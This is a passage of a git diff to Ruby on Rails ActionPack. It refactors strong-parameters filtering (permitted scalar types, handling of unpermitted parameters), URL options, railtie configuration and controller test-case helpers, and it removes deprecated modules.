+
+ alias_method :each, :each_pair
+
+ # Attribute that keeps track of converted arrays, if any, to avoid double
+ # looping in the common use case permit + mass-assignment. Defined in a
+ # method to instantiate it only if needed.
+ #
+ # Testing membership still loops, but it's going to be faster than our own
+ # loop that converts values. Also, we are not going to build a new array
+ # object per fetch.
+ def converted_arrays
+ @converted_arrays ||= Set.new
+ end
+
# Returns +true+ if the parameter is permitted, +false+ otherwise.
#
# params = ActionController::Parameters.new
@@ -111,8 +210,9 @@ module ActionController
# Person.new(params) # => #<Person id: nil, name: "Francesco">
def permit!
each_pair do |key, value|
- convert_hashes_to_parameters(key, value)
- self[key].permit! if self[key].respond_to? :permit!
+ Array.wrap(value).each do |v|
+ v.permit! if v.respond_to? :permit!
+ end
end
@permitted = true
@@ -132,7 +232,12 @@ module ActionController
# ActionController::Parameters.new(person: {}).require(:person)
# # => ActionController::ParameterMissing: param not found: person
def require(key)
- self[key].presence || raise(ParameterMissing.new(key))
+ value = self[key]
+ if value.present? || value == false
+ value
+ else
+ raise ParameterMissing.new(key)
+ end
end
# Alias of #require.
@@ -150,6 +255,22 @@ module ActionController
# permitted.has_key?(:age) # => true
# permitted.has_key?(:role) # => false
#
+ # Only permitted scalars pass the filter. For example, given
+ #
+ # params.permit(:name)
+ #
+ # +:name+ passes it is a key of +params+ whose associated value is of type
+ # +String+, +Symbol+, +NilClass+, +Numeric+, +TrueClass+, +FalseClass+,
+ # +Date+, +Time+, +DateTime+, +StringIO+, +IO+,
+ # +ActionDispatch::Http::UploadedFile+ or +Rack::Test::UploadedFile+.
+ # Otherwise, the key +:name+ is filtered out.
+ #
+ # You may declare that the parameter should be an array of permitted scalars
+ # by mapping it to an empty array:
+ #
+ # params = ActionController::Parameters.new(tags: ['rails', 'parameters'])
+ # params.permit(tags: [])
+ #
# You can also use +permit+ on nested parameters, like:
#
# params = ActionController::Parameters.new({
@@ -177,7 +298,7 @@ module ActionController
# params = ActionController::Parameters.new({
# person: {
# contact: {
- # email: 'none@test.com'
+ # email: 'none@test.com',
# phone: '555-1234'
# }
# }
@@ -196,32 +317,15 @@ module ActionController
filters.flatten.each do |filter|
case filter
- when Symbol, String then
- if has_key?(filter)
- _value = self[filter]
- params[filter] = _value unless Hash === _value
- end
- keys.grep(/\A#{Regexp.escape(filter)}\(\d+[if]?\)\z/) { |key| params[key] = self[key] }
+ when Symbol, String
+ permitted_scalar_filter(params, filter)
when Hash then
- filter = filter.with_indifferent_access
-
- self.slice(*filter.keys).each do |key, values|
- return unless values
-
- key = key.to_sym
-
- params[key] = each_element(values) do |value|
- # filters are a Hash, so we expect value to be a Hash too
- next if filter.is_a?(Hash) && !value.is_a?(Hash)
-
- value = self.class.new(value) if !value.respond_to?(:permit)
-
- value.permit(*Array.wrap(filter[key]))
- end
- end
+ hash_filter(params, filter)
end
end
+ unpermitted_parameters!(params) if self.class.action_on_unpermitted_parameters
+
params.permit!
end
@@ -247,7 +351,7 @@ module ActionController
# params.fetch(:none, 'Francesco') # => "Francesco"
# params.fetch(:none) { 'Francesco' } # => "Francesco"
def fetch(key, *args)
- convert_hashes_to_parameters(key, super)
+ convert_hashes_to_parameters(key, super, false)
rescue KeyError
raise ActionController::ParameterMissing.new(key)
end
@@ -260,11 +364,56 @@ module ActionController
# params.slice(:a, :b) # => {"a"=>1, "b"=>2}
# params.slice(:d) # => {}
def slice(*keys)
- self.class.new(super).tap do |new_instance|
- new_instance.instance_variable_set :@permitted, @permitted
+ new_instance_with_inherited_permitted_status(super)
+ end
+
+ # Removes and returns the key/value pairs matching the given keys.
+ #
+ # params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+ # params.extract!(:a, :b) # => {"a"=>1, "b"=>2}
+ # params # => {"c"=>3}
+ def extract!(*keys)
+ new_instance_with_inherited_permitted_status(super)
+ end
+
+ # Returns a new <tt>ActionController::Parameters</tt> with the results of
+ # running +block+ once for every value. The keys are unchanged.
+ #
+ # params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+ # params.transform_values { |x| x * 2 }
+ # # => {"a"=>2, "b"=>4, "c"=>6}
+ def transform_values
+ if block_given?
+ new_instance_with_inherited_permitted_status(super)
+ else
+ super
+ end
+ end
+
+ # This method is here only to make sure that the returned object has the
+ # correct +permitted+ status. It should not matter since the parent of
+ # this object is +HashWithIndifferentAccess+
+ def transform_keys # :nodoc:
+ if block_given?
+ new_instance_with_inherited_permitted_status(super)
+ else
+ super
end
end
+ # Deletes and returns a key-value pair from +Parameters+ whose key is equal
+ # to key. If the key is not found, returns the default value. If the
+ # optional code block is given and the key is not found, pass in the key
+ # and return the result of block.
+ def delete(key, &block)
+ convert_hashes_to_parameters(key, super, false)
+ end
+
+ # Equivalent to Hash#keep_if, but returns nil if no changes were made.
+ def select!(&block)
+ convert_value_to_parameters(super)
+ end
+
# Returns an exact copy of the <tt>ActionController::Parameters</tt>
# instance. +permitted+ state is kept on the duped object.
#
@@ -275,24 +424,44 @@ module ActionController
# copy_params.permitted? # => true
def dup
super.tap do |duplicate|
- duplicate.instance_variable_set :@permitted, @permitted
+ duplicate.permitted = @permitted
end
end
+ protected
+ def permitted=(new_permitted)
+ @permitted = new_permitted
+ end
+
private
- def convert_hashes_to_parameters(key, value)
- if value.is_a?(Parameters) || !value.is_a?(Hash)
+ def new_instance_with_inherited_permitted_status(hash)
+ self.class.new(hash).tap do |new_instance|
+ new_instance.permitted = @permitted
+ end
+ end
+
+ def convert_hashes_to_parameters(key, value, assign_if_converted=true)
+ converted = convert_value_to_parameters(value)
+ self[key] = converted if assign_if_converted && !converted.equal?(value)
+ converted
+ end
+
+ def convert_value_to_parameters(value)
+ if value.is_a?(Array) && !converted_arrays.member?(value)
+ converted = value.map { |_| convert_value_to_parameters(_) }
+ converted_arrays << converted
+ converted
+ elsif value.is_a?(Parameters) || !value.is_a?(Hash)
value
else
- # Convert to Parameters on first access
- self[key] = self.class.new(value)
+ self.class.new(value)
end
end
def each_element(object)
if object.is_a?(Array)
object.map { |el| yield el }.compact
- elsif object.is_a?(Hash) && object.keys.all? { |k| k =~ /\A-?\d+\z/ }
+ elsif fields_for_style?(object)
hash = object.class.new
object.each { |k,v| hash[k] = yield v }
hash
@@ -300,6 +469,105 @@ module ActionController
yield object
end
end
+
+ def fields_for_style?(object)
+ object.is_a?(Hash) && object.all? { |k, v| k =~ /\A-?\d+\z/ && v.is_a?(Hash) }
+ end
+
+ def unpermitted_parameters!(params)
+ unpermitted_keys = unpermitted_keys(params)
+ if unpermitted_keys.any?
+ case self.class.action_on_unpermitted_parameters
+ when :log
+ name = "unpermitted_parameters.action_controller"
+ ActiveSupport::Notifications.instrument(name, keys: unpermitted_keys)
+ when :raise
+ raise ActionController::UnpermittedParameters.new(unpermitted_keys)
+ end
+ end
+ end
+
+ def unpermitted_keys(params)
+ self.keys - params.keys - self.always_permitted_parameters
+ end
+
+ #
+ # --- Filtering ----------------------------------------------------------
+ #
+
+ # This is a white list of permitted scalar types that includes the ones
+ # supported in XML and JSON requests.
+ #
+ # This list is in particular used to filter ordinary requests, String goes
+ # as first element to quickly short-circuit the common case.
+ #
+ # If you modify this collection please update the API of +permit+ above.
+ PERMITTED_SCALAR_TYPES = [
+ String,
+ Symbol,
+ NilClass,
+ Numeric,
+ TrueClass,
+ FalseClass,
+ Date,
+ Time,
+ # DateTimes are Dates, we document the type but avoid the redundant check.
+ StringIO,
+ IO,
+ ActionDispatch::Http::UploadedFile,
+ Rack::Test::UploadedFile,
+ ]
+
+ def permitted_scalar?(value)
+ PERMITTED_SCALAR_TYPES.any? {|type| value.is_a?(type)}
+ end
+
+ def permitted_scalar_filter(params, key)
+ if has_key?(key) && permitted_scalar?(self[key])
+ params[key] = self[key]
+ end
+
+ keys.grep(/\A#{Regexp.escape(key)}\(\d+[if]?\)\z/) do |k|
+ if permitted_scalar?(self[k])
+ params[k] = self[k]
+ end
+ end
+ end
+
+ def array_of_permitted_scalars?(value)
+ if value.is_a?(Array)
+ value.all? {|element| permitted_scalar?(element)}
+ end
+ end
+
+ def array_of_permitted_scalars_filter(params, key)
+ if has_key?(key) && array_of_permitted_scalars?(self[key])
+ params[key] = self[key]
+ end
+ end
+
+ EMPTY_ARRAY = []
+ def hash_filter(params, filter)
+ filter = filter.with_indifferent_access
+
+ # Slicing filters out non-declared keys.
+ slice(*filter.keys).each do |key, value|
+ next unless value
+
+ if filter[key] == EMPTY_ARRAY
+ # Declaration { comment_ids: [] }.
+ array_of_permitted_scalars_filter(params, key)
+ else
+ # Declaration { user: :name } or { user: [:name, :age, { address: ... }] }.
+ params[key] = each_element(value) do |element|
+ if element.is_a?(Hash)
+ element = self.class.new(element) unless element.respond_to?(:permit)
+ element.permit(*Array.wrap(filter[key]))
+ end
+ end
+ end
+ end
+ end
end
# == Strong \Parameters
@@ -328,7 +596,7 @@ module ActionController
# # into a 400 Bad Request reply.
# def update
# redirect_to current_account.people.find(params[:id]).tap { |person|
- # person.update_attributes!(person_params)
+ # person.update!(person_params)
# }
# end
#
@@ -342,7 +610,7 @@ module ActionController
# end
# end
#
- # In order to use <tt>accepts_nested_attribute_for</tt> with Strong \Parameters, you
+ # In order to use <tt>accepts_nested_attributes_for</tt> with Strong \Parameters, you
# will need to specify which nested attributes should be whitelisted.
#
# class Person
@@ -373,12 +641,6 @@ module ActionController
extend ActiveSupport::Concern
include ActiveSupport::Rescuable
- included do
- rescue_from(ActionController::ParameterMissing) do |parameter_missing_exception|
- render text: "Required parameter missing: #{parameter_missing_exception.param}", status: :bad_request
- end
- end
-
# Returns a new ActionController::Parameters object that
# has been instantiated with the <tt>request.parameters</tt>.
def params
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
index 0377b8c4cf..d01927b7cb 100644
--- a/actionpack/lib/action_controller/metal/testing.rb
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -17,7 +17,6 @@ module ActionController
def recycle!
@_url_options = nil
- self.response_body = nil
self.formats = nil
self.params = nil
end
@@ -25,7 +24,7 @@ module ActionController
module ClassMethods
def before_filters
- _process_action_callbacks.find_all{|x| x.kind == :before}.map{|x| x.name}
+ _process_action_callbacks.find_all{|x| x.kind == :before}.map(&:name)
end
end
end
diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb
index 505f3b4e61..0f2fa5fb08 100644
--- a/actionpack/lib/action_controller/metal/url_for.rb
+++ b/actionpack/lib/action_controller/metal/url_for.rb
@@ -23,24 +23,24 @@ module ActionController
include AbstractController::UrlFor
def url_options
- @_url_options ||= super.reverse_merge(
+ @_url_options ||= {
:host => request.host,
:port => request.optional_port,
:protocol => request.protocol,
- :_recall => request.symbolized_path_parameters
- ).freeze
+ :_recall => request.path_parameters
+ }.merge!(super).freeze
- if (same_origin = _routes.equal?(env["action_dispatch.routes"])) ||
+ if (same_origin = _routes.equal?(env["action_dispatch.routes".freeze])) ||
(script_name = env["ROUTES_#{_routes.object_id}_SCRIPT_NAME"]) ||
- (original_script_name = env['SCRIPT_NAME'])
- @_url_options.dup.tap do |options|
- if original_script_name
- options[:original_script_name] = original_script_name
- else
- options[:script_name] = same_origin ? request.script_name.dup : script_name
- end
- options.freeze
+ (original_script_name = env['ORIGINAL_SCRIPT_NAME'.freeze])
+
+ options = @_url_options.dup
+ if original_script_name
+ options[:original_script_name] = original_script_name
+ else
+ options[:script_name] = same_origin ? request.script_name.dup : script_name
end
+ options.freeze
else
@_url_options
end
diff --git a/actionpack/lib/action_controller/model_naming.rb b/actionpack/lib/action_controller/model_naming.rb
index 785221dc3d..2b33f67263 100644
--- a/actionpack/lib/action_controller/model_naming.rb
+++ b/actionpack/lib/action_controller/model_naming.rb
@@ -6,7 +6,7 @@ module ActionController
end
def model_name_from_record_or_class(record_or_class)
- (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
+ convert_to_model(record_or_class).model_name
end
end
end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index 3e44155f73..28b20052b5 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -1,9 +1,9 @@
require "rails"
require "action_controller"
require "action_dispatch/railtie"
-require "action_view/railtie"
require "abstract_controller/railties/routes_helpers"
require "action_controller/railties/helpers"
+require "action_view/railtie"
module ActionController
class Railtie < Rails::Railtie #:nodoc:
@@ -20,22 +20,31 @@ module ActionController
end
initializer "action_controller.parameters_config" do |app|
- ActionController::Parameters.permit_all_parameters = app.config.action_controller.delete(:permit_all_parameters) { false }
+ options = app.config.action_controller
+
+ ActionController::Parameters.permit_all_parameters = options.delete(:permit_all_parameters) { false }
+ if app.config.action_controller[:always_permitted_parameters]
+ ActionController::Parameters.always_permitted_parameters =
+ app.config.action_controller.delete(:always_permitted_parameters)
+ end
+ ActionController::Parameters.action_on_unpermitted_parameters = options.delete(:action_on_unpermitted_parameters) do
+ (Rails.env.test? || Rails.env.development?) ? :log : false
+ end
end
initializer "action_controller.set_configs" do |app|
paths = app.config.paths
options = app.config.action_controller
- options.logger ||= Rails.logger
- options.cache_store ||= Rails.cache
+ options.logger ||= Rails.logger
+ options.cache_store ||= Rails.cache
- options.javascripts_dir ||= paths["public/javascripts"].first
- options.stylesheets_dir ||= paths["public/stylesheets"].first
+ options.javascripts_dir ||= paths["public/javascripts"].first
+ options.stylesheets_dir ||= paths["public/stylesheets"].first
# Ensure readers methods get compiled
- options.asset_host ||= app.config.asset_host
- options.relative_url_root ||= app.config.relative_url_root
+ options.asset_host ||= app.config.asset_host
+ options.relative_url_root ||= app.config.relative_url_root
ActiveSupport.on_load(:action_controller) do
include app.routes.mounted_helpers
diff --git a/actionpack/lib/action_controller/record_identifier.rb b/actionpack/lib/action_controller/record_identifier.rb
deleted file mode 100644
index b49128c184..0000000000
--- a/actionpack/lib/action_controller/record_identifier.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'active_support/deprecation'
-require 'action_view/record_identifier'
-
-module ActionController
- module RecordIdentifier
- MESSAGE = 'method will no longer be included by default in controllers since Rails 4.1. ' +
- 'If you would like to use it in controllers, please include ' +
- 'ActionView::RecodIdentifier module.'
-
- def dom_id(record, prefix = nil)
- ActiveSupport::Deprecation.warn('dom_id ' + MESSAGE)
- ActionView::RecordIdentifier.dom_id(record, prefix)
- end
-
- def dom_class(record, prefix = nil)
- ActiveSupport::Deprecation.warn('dom_class ' + MESSAGE)
- ActionView::RecordIdentifier.dom_class(record, prefix)
- end
- end
-end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index 7b48870090..cd92962dc3 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -1,6 +1,10 @@
require 'rack/session/abstract/id'
require 'active_support/core_ext/object/to_query'
require 'active_support/core_ext/module/anonymous'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/deprecation'
+
+require 'rails-dom-testing'
module ActionController
module TemplateAssertions
@@ -11,12 +15,16 @@ module ActionController
teardown :teardown_subscriptions
end
+ RENDER_TEMPLATE_INSTANCE_VARIABLES = %w{partials templates layouts files}.freeze
+
def setup_subscriptions
- @_partials = Hash.new(0)
- @_templates = Hash.new(0)
- @_layouts = Hash.new(0)
+ RENDER_TEMPLATE_INSTANCE_VARIABLES.each do |instance_variable|
+ instance_variable_set("@_#{instance_variable}", Hash.new(0))
+ end
- ActiveSupport::Notifications.subscribe("render_template.action_view") do |name, start, finish, id, payload|
+ @_subscribers = []
+
+ @_subscribers << ActiveSupport::Notifications.subscribe("render_template.action_view") do |_name, _start, _finish, _id, payload|
path = payload[:layout]
if path
@_layouts[path] += 1
@@ -26,32 +34,43 @@ module ActionController
end
end
- ActiveSupport::Notifications.subscribe("!render_template.action_view") do |name, start, finish, id, payload|
- path = payload[:virtual_path]
- next unless path
- partial = path =~ /^.*\/_[^\/]*$/
+ @_subscribers << ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
+ if virtual_path = payload[:virtual_path]
+ partial = virtual_path =~ /^.*\/_[^\/]*$/
- if partial
- @_partials[path] += 1
- @_partials[path.split("/").last] += 1
- end
+ if partial
+ @_partials[virtual_path] += 1
+ @_partials[virtual_path.split("/").last] += 1
+ end
- @_templates[path] += 1
+ @_templates[virtual_path] += 1
+ else
+ path = payload[:identifier]
+ if path
+ @_files[path] += 1
+ @_files[path.split("/").last] += 1
+ end
+ end
end
end
def teardown_subscriptions
- ActiveSupport::Notifications.unsubscribe("render_template.action_view")
- ActiveSupport::Notifications.unsubscribe("!render_template.action_view")
+ @_subscribers.each do |subscriber|
+ ActiveSupport::Notifications.unsubscribe(subscriber)
+ end
end
def process(*args)
- @_partials = Hash.new(0)
- @_templates = Hash.new(0)
- @_layouts = Hash.new(0)
+ reset_template_assertion
super
end
+ def reset_template_assertion
+ RENDER_TEMPLATE_INSTANCE_VARIABLES.each do |instance_variable|
+ instance_variable_get("@_#{instance_variable}").clear
+ end
+ end
+
# Asserts that the request was rendered with the appropriate template file or partials.
#
# # assert that the "new" view template was rendered
@@ -75,14 +94,20 @@ module ActionController
# # assert that no partials were rendered
# assert_template partial: false
#
+ # # assert that a file was rendered
+ # assert_template file: "README.rdoc"
+ #
+ # # assert that no file was rendered
+ # assert_template file: nil
+ # assert_template file: false
+ #
# In a view test case, you can also assert that specific locals are passed
# to partials:
#
# # assert that the "_customer" partial was rendered with a specific object
# assert_template partial: '_customer', locals: { customer: @customer }
def assert_template(options = {}, message = nil)
- # Force body to be read in case the
- # template is being streamed
+ # Force body to be read in case the template is being streamed.
response.body
case options
@@ -106,7 +131,7 @@ module ActionController
end
assert matches_template, msg
when Hash
- options.assert_valid_keys(:layout, :partial, :locals, :count)
+ options.assert_valid_keys(:layout, :partial, :locals, :count, :file)
if options.key?(:layout)
expected_layout = options[:layout]
@@ -123,10 +148,20 @@ module ActionController
end
end
+ if options[:file]
+ assert_includes @_files.keys, options[:file]
+ elsif options.key?(:file)
+ assert @_files.blank?, "expected no files but #{@_files.keys} was rendered"
+ end
+
if expected_partial = options[:partial]
if expected_locals = options[:locals]
if defined?(@_rendered_views)
- view = expected_partial.to_s.sub(/^_/,'')
+ view = expected_partial.to_s.sub(/^_/, '').sub(/\/_(?=[^\/]+\z)/, '/')
+
+ partial_was_not_rendered_msg = "expected %s to be rendered but it was not." % view
+ assert_includes @_rendered_views.rendered_views, view, partial_was_not_rendered_msg
+
msg = 'expecting %s to be rendered with %s but was with %s' % [expected_partial,
expected_locals,
@_rendered_views.locals_for(view)]
@@ -178,7 +213,7 @@ module ActionController
value = value.dup
end
- if extra_keys.include?(key.to_sym)
+ if extra_keys.include?(key)
non_path_parameters[key] = value
else
if value.is_a?(Array)
@@ -187,13 +222,16 @@ module ActionController
value = value.to_param
end
- path_parameters[key.to_s] = value
+ path_parameters[key] = value
end
end
# Clear the combined params hash in case it was already referenced.
@env.delete("action_dispatch.request.parameters")
+ # Clear the filter cache variables so they're not stale
+ @filtered_parameters = @filtered_env = @filtered_path = nil
+
params = self.request_parameters.dup
%w(controller action only_path).each do |k|
params.delete(k)
@@ -209,7 +247,6 @@ module ActionController
@formats = nil
@env.delete_if { |k, v| k =~ /^(action_dispatch|rack)\.request/ }
@env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ }
- @symbolized_path_params = nil
@method = @request_method = nil
@fullpath = @ip = @remote_ip = @protocol = nil
@env['action_dispatch.request.query_parameters'] = {}
@@ -236,18 +273,62 @@ module ActionController
end
end
+ class LiveTestResponse < Live::Response
+ def recycle!
+ @body = nil
+ initialize
+ end
+
+ def body
+ @body ||= super
+ end
+
+ # Was the response successful?
+ alias_method :success?, :successful?
+
+ # Was the URL not found?
+ alias_method :missing?, :not_found?
+
+ # Were we redirected?
+ alias_method :redirect?, :redirection?
+
+ # Was there a server-side error?
+ alias_method :error?, :server_error?
+ end
+
+ # Methods #destroy and #load! are overridden to avoid calling methods on the
+ # @store object, which does not exist for the TestSession class.
class TestSession < Rack::Session::Abstract::SessionHash #:nodoc:
DEFAULT_OPTIONS = Rack::Session::Abstract::ID::DEFAULT_OPTIONS
def initialize(session = {})
super(nil, nil)
- replace(session.stringify_keys)
+ @id = SecureRandom.hex(16)
+ @data = stringify_keys(session)
@loaded = true
end
def exists?
true
end
+
+ def keys
+ @data.keys
+ end
+
+ def values
+ @data.values
+ end
+
+ def destroy
+ clear
+ end
+
+ private
+
+ def load!
+ @id
+ end
end
# Superclass for ActionController functional tests. Functional tests allow you to
@@ -276,7 +357,7 @@ module ActionController
# assert_response :found
#
# # Assert that the controller really put the book in the database.
- # assert_not_nil Book.find_by_title("Love Hina")
+ # assert_not_nil Book.find_by(title: "Love Hina")
# end
# end
#
@@ -360,17 +441,11 @@ module ActionController
#
# assert_redirected_to page_url(title: 'foo')
class TestCase < ActiveSupport::TestCase
-
- # Use AC::TestCase for the base class when describing a controller
- register_spec_type(self) do |desc|
- Class === desc && desc < ActionController::Metal
- end
- register_spec_type(/Controller( ?Test)?\z/i, self)
-
module Behavior
extend ActiveSupport::Concern
include ActionDispatch::TestProcess
include ActiveSupport::Testing::ConstantLookup
+ include Rails::Dom::Testing::Assertions
attr_reader :response, :request
@@ -394,7 +469,6 @@ module ActionController
end
def controller_class=(new_class)
- prepare_controller_class(new_class) if new_class
self._controller_class = new_class
end
@@ -411,48 +485,56 @@ module ActionController
Class === constant && constant < ActionController::Metal
end
end
-
- def prepare_controller_class(new_class)
- new_class.send :include, ActionController::TestCase::RaiseActionExceptions
- end
-
end
- # Executes a request simulating GET HTTP method and set/volley the response
+ # Simulate a GET request with the given parameters.
+ #
+ # - +action+: The controller action to call.
+ # - +parameters+: The HTTP parameters that you want to pass. This may
+ # be +nil+, a hash, or a string that is appropriately encoded
+ # (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
+ # - +session+: A hash of parameters to store in the session. This may be +nil+.
+ # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
+ #
+ # You can also simulate POST, PATCH, PUT, DELETE, and HEAD requests with
+ # +post+, +patch+, +put+, +delete+, and +head+.
+ #
+ # Note that the request method is not verified. The different methods are
+ # available to make the tests more expressive.
def get(action, *args)
process(action, "GET", *args)
end
- # Executes a request simulating POST HTTP method and set/volley the response
+ # Simulate a POST request with the given parameters and set/volley the response.
+ # See +get+ for more details.
def post(action, *args)
process(action, "POST", *args)
end
- # Executes a request simulating PATCH HTTP method and set/volley the response
+ # Simulate a PATCH request with the given parameters and set/volley the response.
+ # See +get+ for more details.
def patch(action, *args)
process(action, "PATCH", *args)
end
- # Executes a request simulating PUT HTTP method and set/volley the response
+ # Simulate a PUT request with the given parameters and set/volley the response.
+ # See +get+ for more details.
def put(action, *args)
process(action, "PUT", *args)
end
- # Executes a request simulating DELETE HTTP method and set/volley the response
+ # Simulate a DELETE request with the given parameters and set/volley the response.
+ # See +get+ for more details.
def delete(action, *args)
process(action, "DELETE", *args)
end
- # Executes a request simulating HEAD HTTP method and set/volley the response
+ # Simulate a HEAD request with the given parameters and set/volley the response.
+ # See +get+ for more details.
def head(action, *args)
process(action, "HEAD", *args)
end
- # Executes a request simulating OPTIONS HTTP method and set/volley the response
- def options(action, *args)
- process(action, "OPTIONS", *args)
- end
-
def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil)
@request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
@request.env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
@@ -476,15 +558,40 @@ module ActionController
end
end
+ # Simulate a HTTP request to +action+ by specifying request method,
+ # parameters and set/volley the response.
+ #
+ # - +action+: The controller action to call.
+ # - +http_method+: Request method used to send the http request. Possible values
+ # are +GET+, +POST+, +PATCH+, +PUT+, +DELETE+, +HEAD+. Defaults to +GET+.
+ # - +parameters+: The HTTP parameters. This may be +nil+, a hash, or a
+ # string that is appropriately encoded (+application/x-www-form-urlencoded+
+ # or +multipart/form-data+).
+ # - +session+: A hash of parameters to store in the session. This may be +nil+.
+ # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
+ #
+ # Example calling +create+ action and sending two params:
+ #
+ # process :create, 'POST', user: { name: 'Gaurish Sharma', email: 'user@example.com' }
+ #
+ # Example sending parameters, +nil+ session and setting a flash message:
+ #
+ # process :view, 'GET', { id: 7 }, nil, { notice: 'This is flash message' }
+ #
+ # To simulate +GET+, +POST+, +PATCH+, +PUT+, +DELETE+ and +HEAD+ requests
+ # prefer using #get, #post, #patch, #put, #delete and #head methods
+ # respectively which will make tests more expressive.
+ #
+ # Note that the request method is not verified.
def process(action, http_method = 'GET', *args)
check_required_ivars
- http_method, args = handle_old_process_api(http_method, args, caller)
if args.first.is_a?(String) && http_method != 'HEAD'
@request.env['RAW_POST_DATA'] = args.shift
end
parameters, session, flash = args
+ parameters ||= {}
# Ensure that numbers and symbols passed as params are converted to
# proper params, as is the case when engaging rack.
@@ -494,7 +601,6 @@ module ActionController
unless @controller.respond_to?(:recycle!)
@controller.extend(Testing::Functional)
- @controller.class.class_eval { include Testing }
end
@request.recycle!
@@ -503,10 +609,9 @@ module ActionController
@request.env['REQUEST_METHOD'] = http_method
- parameters ||= {}
controller_class_name = @controller.class.anonymous? ?
"anonymous" :
- @controller.class.name.underscore.sub(/_controller$/, '')
+ @controller.class.controller_path
@request.assign_parameters(@routes, controller_class_name, action.to_s, parameters)
@@ -520,27 +625,34 @@ module ActionController
name = @request.parameters[:action]
+ @controller.recycle!
@controller.process(name)
if cookies = @request.env['action_dispatch.cookies']
- cookies.write(@response)
+ unless @response.committed?
+ cookies.write(@response)
+ end
end
@response.prepare!
@assigns = @controller.respond_to?(:view_assigns) ? @controller.view_assigns : {}
- @request.session['flash'] = @request.flash.to_session_value
- @request.session.delete('flash') if @request.session['flash'].blank?
+
+ if flash_value = @request.flash.to_session_value
+ @request.session['flash'] = flash_value
+ end
+
@response
end
def setup_controller_request_and_response
- @request = build_request
- @response = build_response
- @response.request = @request
-
@controller = nil unless defined? @controller
+ response_klass = TestResponse
+
if klass = self.class.controller_class
+ if klass < ActionController::Live
+ response_klass = LiveTestResponse
+ end
unless @controller
begin
@controller = klass.new
@@ -550,6 +662,10 @@ module ActionController
end
end
+ @request = build_request
+ @response = build_response response_klass
+ @response.request = @request
+
if @controller
@controller.request = @request
@controller.params = {}
@@ -560,8 +676,8 @@ module ActionController
TestRequest.new
end
- def build_response
- TestResponse.new
+ def build_response(klass)
+ klass.new
end
included do
@@ -572,6 +688,11 @@ module ActionController
end
private
+
+ def document_root_element
+ html_document.root
+ end
+
def check_required_ivars
# Sanity check for required instance variables so we can give an
# understandable error message.
@@ -582,27 +703,36 @@ module ActionController
end
end
- def handle_old_process_api(http_method, args, callstack)
- # 4.0: Remove this method.
- if http_method.is_a?(Hash)
- ActiveSupport::Deprecation.warn("TestCase#process now expects the HTTP method as second argument: process(action, http_method, params, session, flash)", callstack)
- args.unshift(http_method)
- http_method = args.last.is_a?(String) ? args.last : "GET"
- end
-
- [http_method, args]
- end
-
def build_request_uri(action, parameters)
unless @request.env["PATH_INFO"]
options = @controller.respond_to?(:url_options) ? @controller.__send__(:url_options).merge(parameters) : parameters
options.update(
- :only_path => true,
:action => action,
:relative_url_root => nil,
- :_recall => @request.symbolized_path_parameters)
+ :_recall => @request.path_parameters)
+
+ if route_name = options.delete(:use_route)
+ ActiveSupport::Deprecation.warn <<-MSG.squish
+ Passing the `use_route` option in functional tests are deprecated.
+ Support for this option in the `process` method (and the related
+ `get`, `head`, `post`, `patch`, `put` and `delete` helpers) will
+ be removed in the next version without replacement.
+
+ Functional tests are essentially unit tests for controllers and
+ they should not require knowledge to how the application's routes
+ are configured. Instead, you should explicitly pass the appropiate
+ params to the `process` method.
+
+ Previously the engines guide also contained an incorrect example
+ that recommended using this option to test an engine's controllers
+ within the dummy application. That recommendation was incorrect
+ and has since been corrected. Instead, you should override the
+ `@routes` variable in the test case with `Foo::Engine.routes`. See
+ the updated engines guide for details.
+ MSG
+ end
- url, query_string = @routes.url_for(options).split("?", 2)
+ url, query_string = @routes.path_for(options, route_name).split("?", 2)
@request.env["SCRIPT_NAME"] = @controller.config.relative_url_root
@request.env["PATH_INFO"] = url
@@ -611,39 +741,11 @@ module ActionController
end
def html_format?(parameters)
- return true unless parameters.is_a?(Hash)
+ return true unless parameters.key?(:format)
Mime.fetch(parameters[:format]) { Mime['html'] }.html?
end
end
- # When the request.remote_addr remains the default for testing, which is 0.0.0.0, the exception is simply raised inline
- # (skipping the regular exception handling from rescue_action). If the request.remote_addr is anything else, the regular
- # rescue_action process takes place. This means you can test your rescue_action code by setting remote_addr to something else
- # than 0.0.0.0.
- #
- # The exception is stored in the exception accessor for further inspection.
- module RaiseActionExceptions
- def self.included(base) #:nodoc:
- unless base.method_defined?(:exception) && base.method_defined?(:exception=)
- base.class_eval do
- attr_accessor :exception
- protected :exception, :exception=
- end
- end
- end
-
- protected
- def rescue_action_without_handler(e)
- self.exception = e
-
- if request.remote_addr == "0.0.0.0"
- raise(e)
- else
- super(e)
- end
- end
- end
-
include Behavior
end
end
diff --git a/actionpack/lib/action_controller/vendor/html-scanner.rb b/actionpack/lib/action_controller/vendor/html-scanner.rb
deleted file mode 100644
index 896208bc05..0000000000
--- a/actionpack/lib/action_controller/vendor/html-scanner.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require 'action_view/vendor/html-scanner'
-require 'active_support/deprecation'
-
-ActiveSupport::Deprecation.warn 'Vendored html-scanner was moved to action_view, please require "action_view/vendor/html-scanner" instead. ' +
